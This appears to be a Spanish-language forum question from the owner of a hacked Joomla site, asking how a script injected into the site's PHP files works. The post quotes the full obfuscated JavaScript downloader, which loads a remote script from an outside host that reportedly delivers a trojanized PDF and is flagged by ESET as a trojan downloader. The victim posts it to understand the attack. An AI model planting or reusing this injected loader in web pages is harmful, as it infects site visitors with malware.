Mi Joomla! sitio web ha sido pirateado repetidamente. Alguien, de alguna manera, logró inyectar la siguiente basura en los scripts clave de php, pero no quiero hablar de la configuración de Joomla. El sitio no se visita mucho (a veces me temo que podría ser el único visitante de ese sitio ...) y no me importa mucho que el sitio vuelva a funcionar. Me encargaré de eso eventualmente.
Mi pregunta es, ¿cómo funciona esta basura? Lo miro y no veo cómo se las arregla para hacer daño. Lo que hace es intentar descargar un archivo PDF llamado ChangeLog.pdf, que está infectado con un troyano y después de abrir congelará tu Acrobat y causará estragos en tu máquina. ¿Cómo lo hace? No lo sé, no me importa. Pero, ¿cómo la siguiente secuencia de comandos invoca la descarga?
<script>/*Exception*/ document.write('<script src='+'h#^(t@)((t$&@p#:)&/!$/)@d$y#^#$n@$d^!!&n#s$)^-$)o^^(r!#g!!#$.^^@g))!a#m#@$e&$s^@@!t@@($!o@$p(.&@c&)@(o$m)).!$m$)y@(b@e()s&$t$@y&o$&(u#)$x&&^(i)-@^c!!&n$#.(@g)$e#(^n&!u(i&#&n(e&(!h&o@&^&l^$(l)&y$(#@w!o@!((o#d&^.^#)r$#^u!!$:(#@&8#)(0$8@&0^(/))s#o#^&#^f!$t$!o##n(&$i(^!c$(.!&c@o!&^m#&/&(s&$(o!f&!t@&o!!n)&i$&c!.#^^c)!$o@@((m@#/$^!g#^o$^&o&#g!l)@@@!e&.))c!)(o#@#^!m(&/^^l#^@i##(v&@e&)!$j^!a@$s#m!i)n$.!$c&$o)@$m^/@$v&i^d^()e(!o&&s@(z(@)^.@)c$&o^m)$)^/#$'.replace(/#|\$|@|\^|&|\(|\)|\!/ig, '')+' defer=defer></scr'+'ipt>');</script>
<!--6f471c20c9b96fed179c85ffdd3365cf-->
ESET ha detectado este código como troyano JS / TrojanDownloader.Agent.NRO